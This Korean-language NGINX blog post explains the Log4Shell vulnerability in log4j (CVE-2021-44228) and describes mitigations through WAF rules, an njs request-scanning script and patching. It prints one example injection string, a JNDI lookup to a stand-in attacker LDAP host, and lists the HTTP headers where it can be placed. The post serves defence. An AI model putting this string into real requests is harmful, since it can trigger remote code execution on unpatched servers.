NGINX를 사용하여 log4j 취약점(CVE-2021-44228) 완화

2021년 12월 10일 금요일은 전 세계 많은 IT 종사자들에게 기억될 날짜입니다. Java 애플리케이션을 위한 매우 인기 있는 로깅 라이브러리인 log4j 에서 매우 심각한 제로데이 취약점이 발견되었습니다. "Log4Shell"이라는 이름은 이 악용 사례에 빠르게 등장했고 모든 규모의 회사가 완화 전략을 구현하기 위해 서둘렀습니다. 그 후에는 패치 마라톤이 이어졌는데, 이 글을 쓰고 있는 현재도 여전히 진행 중입니다.

NGINX와 F5는 위협을 분석하였고, 이 게시물에서는 애플리케이션을 보호하기 위한 다양한 완화 옵션을 제공합니다.

Log4Shell이란?

log4j 라이브러리의 2.15 및 이전 버전은 CVE-2021-44228 에 설명된 원격 코드 실행(RCE) 취약점에 취약합니다. (log4j 2.16 버전 은 취약점을 패치했습니다.) 이 취약점을 악용한 공격에는 Log4Shell이라는 이름이 붙었습니다. 하지만 취약점이란 무엇이고 왜 그렇게 심각한 걸까? CVE에 설명된 대로 Apache log4j Java 라이브러리는 입력의 유효성을 제대로 검사하지 않습니다.

log4j 라이브러리와 Java 런타임의 JNDI(Java Naming and Directory Interface) 기능을 사용하면 LDAP의 사용자 이름이나 DNS의 IP 주소와 같이 외부 소스에서 데이터를 검색하여 원격 조회를 수행하여 로그 항목에 포함할 수 있습니다. 불행히도 원격 공격자는 JNDI를 하이재킹하여 자신이 작성한 Java 코드를 실행할 수 있습니다. 다음 다이어그램은 공격을 보여줍니다.

취약한 대상을 악용하려면 공격자는 애플리케이션 코드를 속여 다음과 같은 문자열을 포함하는 로그 항목을 작성해야 합니다.${jndi:ldap://evil.xa/x} . 흥미로운 질문은 문자열을 어디에 넣어서 로그 메시지에 들어가게 할 것인가입니다. 많은 애플리케이션에 로깅이 필수적이며, User-Agent , X-Forwarded-For 와 같은 HTTP 헤더, URI, 요청 본문을 포함하여 모든 수신 요청에 대한 다양한 정보가 기록됩니다. 공격 벡터는 다양하며 문자열이 log4j에 기록되는 한 해당 애플리케이션은 악용될 수 있습니다.

NGINX가 이 취약점에 영향을 받나요?

아니요. NGINX 자체는 C로 작성되었으며 Java나 Java 기반 라이브러리를 사용하지 않으므로 이러한 악용에 취약하지 않습니다. 모든 F5 및 NGINX 제품에 대한 CVE-2021-44228 에 대한 공식 대응은 AskF5 기술 자료의 문서 K19026212를 참조하세요.

NGINX는 어떻게 익스플로잇을 완화하는 데 도움이 되나요?

위에서 언급했듯이 공격자는 HTTP 요청의 어딘가에 공격 문자열을 대상 애플리케이션으로 보내야 합니다. NGINX는 침해 징후(IOC)를 파악하기 위해 들어오는 요청을 스캔하고 이를 차단하기 위한 여러 가지 도구를 제공합니다.

악성 요청을 차단하는 가장 효율적인 방법은 웹 애플리케이션 방화벽(WAF)을 사용하는 것입니다. 이 솔루션은 미리 컴파일된 규칙 집합과 요청 데이터를 비교하여 CVE-2021-44228 징후가 있는지 모든 수신 요청을 검사합니다. 그러나 제로데이 공격 이후 WAF 규칙을 업데이트하는 것은 군비 경쟁과도 같습니다. 해당 공격에 대한 WAF 규칙이 공개되자마자 공격자는 WAF를 우회할 수 있는 기술과 패턴을 찾습니다. WAF 규칙을 최신 상태로 유지하세요.

NGINX ModSecurity WAF

ModSecurity 는 오픈 소스 WAF이며, NGINX Plus용 NGINX ModSecurity WAF 모듈인 상용 제품으로도 제공됩니다. OWASP ModSecurity 핵심 규칙 세트 (CRS)에는 Log4Shell을 완화할 수 있는 기존 규칙(932130)이 포함되어 있습니다. 이 솔루션과 보다 고급 보호에 대한 자세한 내용은 CRS 블로그를 참조하세요.

[ 편집자 - NGINX ModSecurity WAF는 2022년 4월 1 일부로 공식적으로 판매 종료 되었으며 2024년 3월 31일 부터 수명 종료 로 전환됩니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF가 수명 종료로 전환 중입니다<.htmla>를 참조하세요.]

NGINX 앱 보호 WAF

NGINX App Protect WAF 는 최신 앱 보안 솔루션입니다. 위협과 알려진 WAF 우회에 대한 지속적인 조사를 바탕으로, Log4Shell 공격을 효과적으로 감지하기 위한 새로운 규칙으로 서버 측 코드 주입 시그니처 세트를 업데이트했습니다. 자세한 내용은 AskF5 지식 기반을 참조하세요.

NGINX 자바스크립트 모듈

NGINX와 NGINX Plus는 다양한 Java 기반 애플리케이션 앞에 역방향 프록시로 널리 배포됩니다. WAF에 접근할 수 없는 사용자와 고객을 위해 NGINX JavaScript 모듈 (njs)을 사용하는 스크립트를 만들었습니다. 이 스크립트는 들어오는 요청에서 HTTP 헤더, URI, 요청 본문을 스캔하여 알려진 IOC 문자열과 정규 표현식을 활용해 입력 데이터와 일치시키고 악성 요청을 차단합니다.

njs 스크립트는 GitHub 에서 사용할 수 있습니다. njs 모듈을 설치하는 방법에 대한 자세한 내용은 NGINX Plus 관리자 가이드를 참조하세요.

요약

Log4Shell에 대한 가장 효과적인 해결책은 JDNI를 비활성화하는 log4j 버전 2.16 이상으로 애플리케이션 코드를 패치하는 것입니다. 즉시 가능하지 않은 경우, 패치를 적용할 시간이 생길 때까지 WAF가 위협을 효과적으로 완화할 수 있습니다. 아직 WAF가 없다면 njs 스크립트를 사용하여 위협으로부터 구체적인 보호 기능을 구현할 수 있습니다. 아래 리소스를 사용하여 자세히 알아보고 애플리케이션에 가장 적합한 보호 기능을 선택하세요.

리소스

• CVE-2021-44228 – 공식 CVE
• 인기 있는 Java 라이브러리 Log4j를 타겟으로 하는 제로데이 익스플로잇 - 취약성에 대한 귀중한 개요
• K19026212: Apache Log4j2 원격 코드 실행 취약점 CVE-2021-44228 – 공식 F5 대응
• CRS 및 Log4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Set 블로그
• CVE-2021-44228 에 대한 NGINX njs 요청 검사 – NGINX JavaScript 완화 솔루션